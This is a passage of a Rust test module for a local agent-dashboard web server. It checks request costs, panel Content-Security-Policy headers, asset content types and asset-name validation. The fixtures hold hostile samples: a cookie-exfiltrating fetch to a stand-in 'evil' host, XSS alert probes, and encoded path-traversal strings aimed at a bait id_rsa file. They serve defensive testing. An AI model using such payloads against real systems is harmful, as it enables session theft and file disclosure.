8868        // None discovers configuration or spawns git per item.
8869    }
8870
8871    /// The same handler path without transport, so the deterministic cause
8872    /// can also be checked in environments that prohibit binding sockets.
8873    #[tokio::test]
8874    async fn list_handler_cost_without_transport() {
8875        let (_tmp, repos) = performance_repositories().await;
8876        let fx = Fixture {
8877            home: TempDir::new().unwrap(),
8878            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8879        };
8880        let ui = Arc::new(
8881            Ui::new(
8882                fx.queue(),
8883                fx.questions(),
8884                fx.talks(),
8885                fx.runs(),
8886                fx.home.path().to_path_buf(),
8887                repos[0].clone(),
8888            )
8889            .with_worktrees_root(fx.home.path().join("wt")),
8890        );
8891        let mut previous = None;
8892        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8893            seed_performance(&fx, &repos, n, runs, items);
8894            let mut costs = Vec::new();
8895            for endpoint in ["questions", "talks", "health", "stats"] {
8896                for repo in &repos {
8897                    let cache = repo.join(".git/magi/config");
8898                    if cache.exists() {
8899                        std::fs::remove_dir_all(cache).unwrap();
8900                    }
8901                }
8902                let (_, cost) = request_cost::measure(async {
8903                    match endpoint {
8904                        "questions" => {
8905                            let _ = questions_list(State(ui.clone())).await.unwrap();
8906                        }
8907                        "talks" => {
8908                            let _ = talks_list(
8909                                State(ui.clone()),
8910                                Query(ListQuery {
8911                                    limit: None,
8912                                    ids: None,
8913                                }),
8914                            )
8915                            .await
8916                            .unwrap();
8917                        }
8918                        "health" => {
8919                            let _ = health(State(ui.clone())).await.unwrap();
8920                        }
8921                        _ => {
8922                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8923                                .await
8924                                .unwrap();
8925                        }
8926                    }
8927                })
8928                .await;
8929                eprintln!("{endpoint} handler N={n}: {cost:?}");
8930                assert_eq!(
8931                    cost.0,
8932                    if endpoint == "talks" { 2 } else { 1 },
8933                    "{endpoint}"
8934                );
8935                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8936                costs.push(cost);
8937            }
8938            if let Some(previous) = previous {
8939                assert_eq!(costs, previous);
8940            }
8941            previous = Some(costs);
8942        }
8943    }
8944
8945    #[tokio::test]
8946    async fn list_request_cost_scopes_do_not_mix() {
8947        let (_tmp, repos, fx) = performance_fixture().await;
8948        seed_performance(&fx, &repos, 10, 0, 10);
8949        let (questions, talks, notices) = tokio::join!(
8950            fx.get("/api/questions"),
8951            fx.get("/api/talks"),
8952            fx.get("/api/notifications")
8953        );
8954        assert_eq!(request_counts(&questions).0, 1);
8955        assert_eq!(request_counts(&talks).0, 2);
8956        assert_eq!(request_counts(&notices), (0, 0));
8957    }
8958
8959    #[tokio::test]
8960    async fn list_endpoints_large_home_ceiling() {
8961        let (_tmp, repos, fx) = performance_fixture().await;
8962        seed_performance(&fx, &repos, 200, 300, 400);
8963        let mut failures = Vec::new();
8964        // app.js boot/change loads plus the initial dashboard, settings and
8965        // repo picker. SSE is a persistent stream, not a bounded GET.
8966        for path in [
8967            "/",
8968            "/app.js",
8969            "/app.css",
8970            "/api/questions",
8971            "/api/runs?limit=300",
8972            "/api/queue",
8973            "/api/talks",
8974            "/api/notifications",
8975            "/api/health",
8976            "/api/stats",
8977            "/api/loop",
8978            "/api/settings",
8979            "/api/repos",
8980        ] {
8981            let start = std::time::Instant::now();
8982            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8983            let elapsed = start.elapsed();
8984            eprintln!("{path}: {elapsed:?}");
8985            match result {
8986                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8987                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8988                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8989            }
8990        }
8991        assert!(failures.is_empty(), "{}", failures.join("\n"));
8992    }
8993
8994    struct Res {
8995        status: u16,
8996        headers: String,
8997        /// The header block with its original casing, for the assertions that
8998        /// compare a header *value* rather than looking for a name. Lowercasing
8999        /// a CSP would hide a directive spelled with a capital letter, and the
9000        /// whole point of that test is that the string is exactly right.
9001        head: String,
9002        body: String,
9003        /// The body before any UTF-8 handling, for the routes that serve
9004        /// something other than text. A panel asset is a PNG as often as not,
9005        /// and `from_utf8_lossy` would silently replace half of it.
9006        bytes: Vec<u8>,
9007    }
9008
9009    impl Res {
9010        fn json(&self) -> Value {
9011            serde_json::from_str(&self.body)
9012                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9013        }
9014
9015        /// One header's value verbatim, or `None` when it was not sent.
9016        fn header(&self, name: &str) -> Option<&str> {
9017            self.head.lines().find_map(|line| {
9018                let (key, value) = line.split_once(':')?;
9019                key.trim()
9020                    .eq_ignore_ascii_case(name)
9021                    .then(|| value.trim_start().trim_end_matches('\r'))
9022            })
9023        }
9024    }
9025
9026    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
9027    /// be read to end-of-stream without parsing framing.
9028    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9029        request_with(addr, method, path, body, &[]).await
9030    }
9031
9032    /// As [`request`], with extra request headers - conditional GETs need
9033    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
9034    /// worse than one that sets none.
9035    async fn request_with(
9036        addr: SocketAddr,
9037        method: &str,
9038        path: &str,
9039        body: Option<&str>,
9040        extra: &[(&str, &str)],
9041    ) -> Res {
9042        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9043        for (name, value) in extra {
9044            head.push_str(&format!("{name}: {value}\r\n"));
9045        }
9046        if let Some(body) = body {
9047            head.push_str("Content-Type: application/json\r\n");
9048            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9049        }
9050        head.push_str("\r\n");
9051        if let Some(body) = body {
9052            head.push_str(body);
9053        }
9054        let mut socket = tokio::net::TcpStream::connect(addr)
9055            .await
9056            .expect("connect to the test server");
9057        socket
9058            .write_all(head.as_bytes())
9059            .await
9060            .expect("write request");
9061        let mut raw = Vec::new();
9062        socket.read_to_end(&mut raw).await.expect("read response");
9063        // Split on the raw bytes rather than on a lossy string, so a binary
9064        // body survives to be compared byte for byte.
9065        let split = raw
9066            .windows(4)
9067            .position(|w| w == b"\r\n\r\n")
9068            .expect("a header block");
9069        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9070        let bytes = raw[split + 4..].to_vec();
9071        let status = head
9072            .lines()
9073            .next()
9074            .and_then(|line| line.split_whitespace().nth(1))
9075            .and_then(|code| code.parse().ok())
9076            .expect("a status line");
9077        Res {
9078            status,
9079            headers: head.to_lowercase(),
9080            head,
9081            body: String::from_utf8_lossy(&bytes).into_owned(),
9082            bytes,
9083        }
9084    }
9085
9086    /// A `POST` carrying a raw binary body and its own headers, for the
9087    /// attachment upload route - `request_with` only ever sends
9088    /// `Content-Type: application/json`, which is wrong for an image and
9089    /// would corrupt anything not valid UTF-8 by round-tripping it through
9090    /// `&str` first.
9091    async fn request_bytes(
9092        addr: SocketAddr,
9093        path: &str,
9094        headers: &[(&str, &str)],
9095        body: &[u8],
9096    ) -> Res {
9097        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9098        for (name, value) in headers {
9099            head.push_str(&format!("{name}: {value}\r\n"));
9100        }
9101        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9102        let mut socket = tokio::net::TcpStream::connect(addr)
9103            .await
9104            .expect("connect to the test server");
9105        socket
9106            .write_all(head.as_bytes())
9107            .await
9108            .expect("write request head");
9109        socket.write_all(body).await.expect("write request body");
9110        let mut raw = Vec::new();
9111        socket.read_to_end(&mut raw).await.expect("read response");
9112        let split = raw
9113            .windows(4)
9114            .position(|w| w == b"\r\n\r\n")
9115            .expect("a header block");
9116        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9117        let bytes = raw[split + 4..].to_vec();
9118        let status = head
9119            .lines()
9120            .next()
9121            .and_then(|line| line.split_whitespace().nth(1))
9122            .and_then(|code| code.parse().ok())
9123            .expect("a status line");
9124        Res {
9125            status,
9126            headers: head.to_lowercase(),
9127            head,
9128            body: String::from_utf8_lossy(&bytes).into_owned(),
9129            bytes,
9130        }
9131    }
9132
9133    /// A run on disk, without touching the process-global magi home.
9134    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9135        let mut state = RunState::new(
9136            PathBuf::from("/repo/magi"),
9137            "main".to_owned(),
9138            "0123456789abcdef".to_owned(),
9139            "Add a web UI\n\nMobile first.".to_owned(),
9140            Config::default(),
9141        );
9142        state.id = id.to_owned();
9143        state.status = status;
9144        let dir = runs.join(id);
9145        std::fs::create_dir_all(&dir).expect("run dir");
9146        std::fs::write(
9147            dir.join("run.json"),
9148            serde_json::to_string_pretty(&state).expect("serialize run"),
9149        )
9150        .expect("write run.json");
9151    }
9152
9153    /// Same as [`write_run`], but against a named repository rather than the
9154    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
9155    /// spread across more than one.
9156    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9157        let mut state = RunState::new(
9158            PathBuf::from(repo),
9159            "main".to_owned(),
9160            "0123456789abcdef".to_owned(),
9161            "task".to_owned(),
9162            Config::default(),
9163        );
9164        state.id = id.to_owned();
9165        state.status = status;
9166        let dir = runs.join(id);
9167        std::fs::create_dir_all(&dir).expect("run dir");
9168        std::fs::write(
9169            dir.join("run.json"),
9170            serde_json::to_string_pretty(&state).expect("serialize run"),
9171        )
9172        .expect("write run.json");
9173    }
9174
9175    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9176        let body = serde_json::json!({
9177            "schema": 1,
9178            "pid": 4242,
9179            "started_at": Timestamp::now().to_string(),
9180            "updated_at": updated_at.to_string(),
9181            "idle": false,
9182            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9183            "completed": 7,
9184            "polls": 143,
9185        });
9186        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9187    }
9188
9189    /// A loop that starts, finds nothing to do, and waits to be told to stop.
9190    ///
9191    /// No test in this file may start the real loop - see [`Ui::launch`] for
9192    /// why - so this stands in for the only thing the routes need a loop to
9193    /// do: keep running until `Stop` is set, then return. A real
9194    /// `serve_until` here would resolve its queue and its status file through
9195    /// the process-global magi home, claim whatever it found in the
9196    /// operator's live backlog, overwrite the status file of the `magi serve`
9197    /// that owns it, and spend real agent quota on a real competition.
9198    fn launch_idle(
9199        _opts: daemon::Opts,
9200        stop: daemon::Stop,
9201    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9202        Box::pin(async move {
9203            while !stop.stopped() {
9204                tokio::time::sleep(Duration::from_millis(2)).await;
9205            }
9206            Ok(())
9207        })
9208    }
9209
9210    /// A loop that fails on the way up, the way one whose home has gone
9211    /// read-only does.
9212    fn launch_broken(
9213        _opts: daemon::Opts,
9214        _stop: daemon::Stop,
9215    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9216        // The stand-in dies instantly, so a restarted one can record its own
9217        // failure before the start's response is read. The second attempt
9218        // therefore fails with a different message, to tell a stale error
9219        // from a fresh one.
9220        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9221        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9222        Box::pin(async move {
9223            Err(anyhow::anyhow!(if first {
9224                "publish the daemon status file: read-only file system"
9225            } else {
9226                "the restarted stand-in failed as well"
9227            }))
9228        })
9229    }
9230
9231    /// The address the parking loop knocks on, and what it heard there.
9232    ///
9233    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
9234    /// capture a fixture's address; this is how it is handed one. Only
9235    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
9236    /// these, so nothing else in this binary can race them.
9237    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9238    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9239
9240    /// A loop that, once it is asked to stop, checks the deck still answers
9241    /// before it goes.
9242    ///
9243    /// It stands in for a run mid-node: `finish_loop` waits for this future,
9244    /// so the request it makes is strictly inside the park window - no sleep
9245    /// and no polling needed to be sure of that.
9246    fn launch_knocking_on_the_way_out(
9247        _opts: daemon::Opts,
9248        stop: daemon::Stop,
9249    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9250        Box::pin(async move {
9251            while !stop.stopped() {
9252                tokio::time::sleep(Duration::from_millis(2)).await;
9253            }
9254            let addr = PARK_KNOCK
9255                .lock()
9256                .expect("park knock")
9257                .expect("the test set an address");
9258            let heard = request(addr, "GET", "/api/health", None).await.status;
9259            *PARK_HEARD.lock().expect("park heard") = Some(heard);
9260            Ok(())
9261        })
9262    }
9263
9264    /// The loop view once `want` accepts it.
9265    ///
9266    /// Polled rather than asserted straight after the POST because stopping
9267    /// is deliberately not instant - that is the contract - and rather than
9268    /// slept through because a fixed wait is either flaky or slow.
9269    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
9270    /// finite, so a genuine hang fails the test instead of hanging the
9271    /// suite.
9272    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9273        for _ in 0..SETTLE_STEPS {
9274            let view = fx.get("/api/loop").await.json();
9275            if want(&view) {
9276                return view;
9277            }
9278            tokio::time::sleep(Duration::from_millis(10)).await;
9279        }
9280        panic!(
9281            "the loop never settled: {}",
9282            fx.get("/api/loop").await.json()
9283        );
9284    }
9285
9286    /// File an open question directly in the store the server reads.
9287    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9288        let store = fx.questions();
9289        let mut q = Question::new(
9290            "20260902-000000-beef".to_owned(),
9291            "implement".to_owned(),
9292            "impl-A".to_owned(),
9293            summary.to_owned(),
9294            "because it matters".to_owned(),
9295            choices.iter().map(|c| (*c).to_owned()).collect(),
9296        );
9297        store.put(&mut q).expect("put question");
9298        q.id
9299    }
9300
9301    /// A question with a panel the server can serve, plus the named assets.
9302    ///
9303    /// Written through `Questions::put_panel` rather than by laying out the
9304    /// directory here, so these tests exercise the same on-disk shape the
9305    /// agents produce and cannot pass against a layout only the tests know.
9306    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9307        let store = fx.questions();
9308        let mut q = Question::new(
9309            "20260902-000000-beef".to_owned(),
9310            "land".to_owned(),
9311            "fix".to_owned(),
9312            "Merge this?".to_owned(),
9313            "the diff is in the panel".to_owned(),
9314            vec!["merge".to_owned(), "hold".to_owned()],
9315        );
9316        // Staged outside the questions root, because `put_panel` copies from
9317        // wherever the agent left its files.
9318        let staging = fx.home.path().join("staging");
9319        std::fs::create_dir_all(&staging).expect("staging dir");
9320        let sources: Vec<PathBuf> = assets
9321            .iter()
9322            .map(|(name, bytes)| {
9323                let path = staging.join(name);
9324                std::fs::write(&path, bytes).expect("write staged asset");
9325                path
9326            })
9327            .collect();
9328        store
9329            .put_panel(&mut q, html, &sources)
9330            .expect("write the panel");
9331        store.put(&mut q).expect("put question");
9332        q.id
9333    }
9334
9335    /// A talk on disk, without talking to a model.
9336    ///
9337    /// Written as JSON straight into the store the server reads, because the
9338    /// only constructor `talk::begin` offers takes no turn but still requires
9339    /// a real caller-visible flow. The one thing this cannot make up is the
9340    /// seat, so it is built with the real `SeatState::new` and serialized -
9341    /// the alternative, hand-writing that object, would make these tests fail
9342    /// the day the seat gains a field.
9343    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9344        seed_talk_at(&fx.talks(), id, status)
9345    }
9346
9347    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9348        std::fs::create_dir_all(store.root()).expect("talks dir");
9349        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9350            .expect("serialize a seat");
9351        let body = serde_json::json!({
9352            "schema": 1,
9353            "id": id,
9354            "repo": "/repo/magi",
9355            "agent": "mock",
9356            "status": status,
9357            "turns": [],
9358            "created_at": Timestamp::now().to_string(),
9359            "updated_at": Timestamp::now().to_string(),
9360            "seat": seat,
9361        });
9362        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9363        store.get(id).expect("the seeded talk has to be readable");
9364        id.to_owned()
9365    }
9366
9367    #[tokio::test]
9368    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9369        let fx = Fixture::start().await;
9370        let id = panel(
9371            &fx,
9372            "<h1>Merge?</h1><img src=\"diff.svg\">",
9373            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9374        );
9375
9376        for path in [
9377            format!("/api/questions/{id}/panel"),
9378            format!("/api/questions/{id}/asset/diff.svg"),
9379        ] {
9380            let res = fx.get(&path).await;
9381            assert_eq!(res.status, 200, "{path}: {}", res.body);
9382            // The whole string, not a substring. A weakened directive - an
9383            // `img-src *` that lets a panel beacon out to a remote host, a
9384            // `script-src` anything, a missing `form-action` that lets it post
9385            // the owner's decision to a third party - has to fail here, and a
9386            // `contains` assertion would let every one of those through.
9387            assert_eq!(
9388                res.header("content-security-policy"),
9389                Some(
9390                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9391                     font-src data:; base-uri 'none'; form-action 'none'; \
9392                     frame-ancestors 'self'"
9393                ),
9394                "{path} is the only thing between a hostile panel and the tailnet"
9395            );
9396            assert_eq!(
9397                res.header("x-content-type-options"),
9398                Some("nosniff"),
9399                "{path}: a browser must not re-decide the type we sent"
9400            );
9401            assert_eq!(
9402                res.header("referrer-policy"),
9403                Some("no-referrer"),
9404                "{path}: a panel must not leak the question id off the machine"
9405            );
9406
9407            // The front end mounts the frame only after a `HEAD` says the
9408            // panel is there, so `HEAD` has to answer with the same status and
9409            // the same policy as `GET` - a preflight that came back without
9410            // the CSP would mean a frame mounted on an unverified promise.
9411            let pre = fx.head(&path).await;
9412            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9413            assert_eq!(
9414                pre.header("content-security-policy"),
9415                res.header("content-security-policy"),
9416                "{path}: the preflight carries the same policy"
9417            );
9418            assert_eq!(
9419                pre.header("content-type"),
9420                res.header("content-type"),
9421                "{path}: the preflight carries the same type"
9422            );
9423        }
9424    }
9425
9426    #[tokio::test]
9427    async fn a_panel_reaches_the_browser_byte_for_byte() {
9428        let fx = Fixture::start().await;
9429        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
9430        // tag, an entity, and a multi-byte character. The sandbox is what makes
9431        // this safe, so nothing here may be rewritten on the way out - a
9432        // rewritten diff is a diff the owner cannot trust.
9433        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
9434        let id = panel(&fx, html, &[]);
9435
9436        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9437
9438        assert_eq!(res.status, 200);
9439        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9440        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9441        assert_eq!(
9442            res.header("content-disposition"),
9443            None,
9444            "the panel itself is rendered in the frame, not downloaded"
9445        );
9446    }
9447
9448    #[tokio::test]
9449    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9450        let fx = Fixture::start().await;
9451        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9452        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9453        let id = panel(
9454            &fx,
9455            "<img src=\"diff.svg\"><img src=\"shot.png\">",
9456            &[("diff.svg", svg), ("shot.png", png)],
9457        );
9458
9459        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9460        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9461
9462        assert_eq!(as_svg.status, 200);
9463        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9464        // An SVG is XML that may carry script. Inside the panel it is an
9465        // `<img src>` and the script cannot run; opened at the top level it
9466        // would be a document on magi's own origin, so the browser is told to
9467        // download it instead of rendering it.
9468        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9469
9470        assert_eq!(as_png.status, 200);
9471        assert_eq!(as_png.header("content-type"), Some("image/png"));
9472        assert_eq!(
9473            as_png.header("content-disposition"),
9474            None,
9475            "a raster image has no execution surface, so tapping it still shows it"
9476        );
9477        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9478    }
9479
9480    #[tokio::test]
9481    async fn an_html_asset_is_never_served_as_html() {
9482        let fx = Fixture::start().await;
9483        let id = panel(
9484            &fx,
9485            "<p>see the notes</p>",
9486            &[
9487                (
9488                    "notes.html",
9489                    b"<script>fetch('http://evil/'+document.cookie)</script>",
9490                ),
9491                ("hook.js", b"fetch('http://evil/')"),
9492                ("data.json", b"{}"),
9493                ("HEADLINE.TXT", b"plain"),
9494            ],
9495        );
9496
9497        for name in ["notes.html", "hook.js", "data.json"] {
9498            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9499            assert_eq!(res.status, 200, "{name}: {}", res.body);
9500            // Serving this as text/html would be a way to reach agent markup
9501            // at the top level of the operator's browser, outside the frame's
9502            // sandbox and outside its CSP - which is the whole thing the panel
9503            // design exists to prevent. Unlisted types are downloads.
9504            assert_eq!(
9505                res.header("content-type"),
9506                Some("application/octet-stream"),
9507                "{name} must not be a type the browser will execute or render"
9508            );
9509        }
9510        // The whitelist is matched case-insensitively, so an agent shouting the
9511        // extension still gets a readable file rather than a download.
9512        let txt = fx
9513            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9514            .await;
9515        assert_eq!(
9516            txt.header("content-type"),
9517            Some("text/plain; charset=utf-8")
9518        );
9519    }
9520
9521    #[tokio::test]
9522    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9523        let fx = Fixture::start().await;
9524        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9525        // Something outside the panel directory that a traversal would reach if
9526        // one got through, so a passing test is not merely "the file was
9527        // missing anyway".
9528        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9529
9530        // Decoded before this server's handler sees them: axum percent-decodes
9531        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
9532        // string with a NUL in it. All three look like ordinary single-segment
9533        // filenames to the router, so the router passes them through and
9534        // `valid_asset_name` is what refuses them - for the literal `..`, and
9535        // for `/`, `\` and NUL not being in the permitted character set.
9536        for encoded in [
9537            "%2e%2e%2fid_rsa",
9538            "..%2fid_rsa",
9539            "..%5cid_rsa",
9540            "%2e%2e%5cid_rsa",
9541            "diff%00.svg",
9542            "..",
9543            ".hidden",
9544            "%2e%2e%2f%2e%2e%2fid_rsa",
9545        ] {
9546            let res = fx
9547                .get(&format!("/api/questions/{id}/asset/{encoded}"))
9548                .await;
9549            assert_eq!(
9550                res.status, 400,
9551                "`{encoded}` has to be refused by name, not looked up: {}",
9552                res.body
9553            );
9554            assert!(res.json()["error"].is_string(), "{}", res.body);
9555        }
9556
9557        // Not decoded, and never this handler's problem: a real slash makes the
9558        // request one segment too long for `/api/questions/{id}/asset/{name}`,
9559        // so axum's router has no route to match and answers before any code
9560        // here runs. Asserted so that a future route with a wildcard segment
9561        // cannot quietly open this door.
9562        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9563            let res = fx
9564                .get(&format!("/api/questions/{id}/asset/{literal}"))
9565                .await;
9566            assert_eq!(
9567                res.status, 404,
9568                "`{literal}` must not match the asset route at all: {}",
9569                res.body
9570            );
9571        }
9572    }
9573
9574    #[tokio::test]
9575    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9576        let fx = Fixture::start().await;
9577        let plain = ask(&fx, "Which backend?", &["SQLite"]);
9578        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9579
9580        // A question nobody wrote a panel for. The client preflights with HEAD
9581        // and cannot see inside a sandboxed frame, so this must be a status and
9582        // not an empty page.
9583        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9584        assert_eq!(none.status, 404, "{}", none.body);
9585        assert!(none.json()["error"].is_string(), "{}", none.body);
9586        assert_eq!(
9587            fx.head(&format!("/api/questions/{plain}/panel"))
9588                .await
9589                .status,
9590            404,
9591            "the preflight is the only way the client can learn this"
9592        );
9593
9594        // A name that is perfectly legal and simply is not there.
9595        let missing = fx
9596            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9597            .await;
9598        assert_eq!(missing.status, 404, "{}", missing.body);
9599        assert!(missing.json()["error"].is_string(), "{}", missing.body);
9600
9601        // A question that does not exist at all, on both routes.
9602        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9603        assert_eq!(
9604            fx.get("/api/questions/nope/asset/diff.svg").await.status,
9605            404
9606        );
9607    }
9608
9609    #[tokio::test]
9610    async fn a_run_with_an_open_question_reads_as_waiting() {
9611        let fx = Fixture::start().await;
9612        let run = "20260902-000000-beef".to_owned();
9613        write_run(&fx.runs(), &run, RunStatus::Implementing);
9614
9615        let before = fx.get("/api/runs").await.json();
9616        assert_eq!(before[0]["waiting"], false, "{before}");
9617
9618        let store = fx.questions();
9619        let mut q = Question::new(
9620            run.clone(),
9621            "implement".to_owned(),
9622            "impl-A".to_owned(),
9623            "Which backend?".to_owned(),
9624            String::new(),
9625            vec!["SQLite".to_owned()],
9626        );
9627        store.put(&mut q).expect("put");
9628
9629        let during = fx.get("/api/runs").await.json();
9630        assert_eq!(during[0]["waiting"], true, "{during}");
9631
9632        // Answered: the run is moving again, and the flag has to follow without
9633        // anything having rewritten run.json.
9634        q.answer(Answer::Choice("SQLite".to_owned()))
9635            .expect("answer");
9636        store.put(&mut q).expect("put");
9637        let after = fx.get("/api/runs").await.json();
9638        assert_eq!(after[0]["waiting"], false, "{after}");
9639    }
9640
9641    #[tokio::test]
9642    async fn an_open_question_is_listed_and_counted_by_health() {
9643        let fx = Fixture::start().await;
9644        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9645
9646        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9647        let listed = fx.get("/api/questions").await.json();
9648        assert_eq!(listed.as_array().expect("array").len(), 1);
9649        assert_eq!(listed[0]["id"], id);
9650        assert_eq!(listed[0]["status"], "open");
9651        assert_eq!(listed[0]["choices"][1], "Redis");
9652        // The count is what makes the phone's indicator honest: it is the one
9653        // number meaning nothing will move until a human acts.
9654        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9655    }
9656
9657    #[tokio::test]
9658    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9659        let fx = Fixture::start().await;
9660        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9661        let path = format!("/api/questions/{id}/answer");
9662
9663        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9664        assert_eq!(res.status, 200, "{}", res.body);
9665        let body = res.json();
9666        assert_eq!(body["status"], "answered");
9667        assert_eq!(body["answer"]["choice"], "Redis");
9668
9669        // Answered from the terminal in between the list and the tap: the UI
9670        // must be able to tell this from a bad request, so it can show the
9671        // recorded answer instead of an error.
9672        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9673        assert_eq!(again.status, 409, "{}", again.body);
9674        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9675    }
9676
9677    #[tokio::test]
9678    async fn saying_something_appends_a_turn_without_answering() {
9679        let fx = Fixture::start().await;
9680        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9681        let path = format!("/api/questions/{id}/say");
9682
9683        let res = fx
9684            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9685            .await;
9686        assert_eq!(res.status, 200, "{}", res.body);
9687        let body = res.json();
9688        assert_eq!(body["status"], "open", "talking back is not a decision");
9689        assert_eq!(body["answer"], Value::Null);
9690        assert_eq!(body["thread"][0]["who"], "operator");
9691        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9692        assert_eq!(body["waiting_on_agent"], true);
9693        // Still open, still counted, still exactly one question.
9694        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9695    }
9696
9697    #[tokio::test]
9698    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9699        let fx = Fixture::start().await;
9700        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9701
9702        let list = fx.get("/api/questions").await.json();
9703        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9704
9705        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9706        assert_eq!(res.status, 409, "{}", res.body);
9707        let q = fx.questions().get(&id).unwrap();
9708        assert!(q.status.open());
9709        assert!(q.consult.is_none());
9710    }
9711
9712    #[tokio::test]
9713    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9714        let fx = Fixture::start().await;
9715        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9716        let cfg = Config {
9717            agents: vec![crate::config::AgentSpec {
9718                id: "mock".to_owned(),
9719                kind: crate::config::AgentKind::Command,
9720                model: None,
9721                command: vec!["true".to_owned()],
9722                extra_args: Vec::new(),
9723                env: Default::default(),
9724                prompt_delivery: None,
9725            }],
9726            ..Config::default()
9727        };
9728        let talk = crate::talk::begin(
9729            &fx.talks(),
9730            &cfg,
9731            fx.home.path().to_path_buf(),
9732            Some("mock"),
9733        )
9734        .unwrap();
9735        let mut task = Task::new(
9736            "t".to_owned(),
9737            "Do it".to_owned(),
9738            PathBuf::from("/repo/magi"),
9739            Source::Agent {
9740                run: talk.id.clone(),
9741                node: crate::queue::CHAT_NODE.to_owned(),
9742            },
9743        );
9744        task.start("20260902-000000-beef".to_owned());
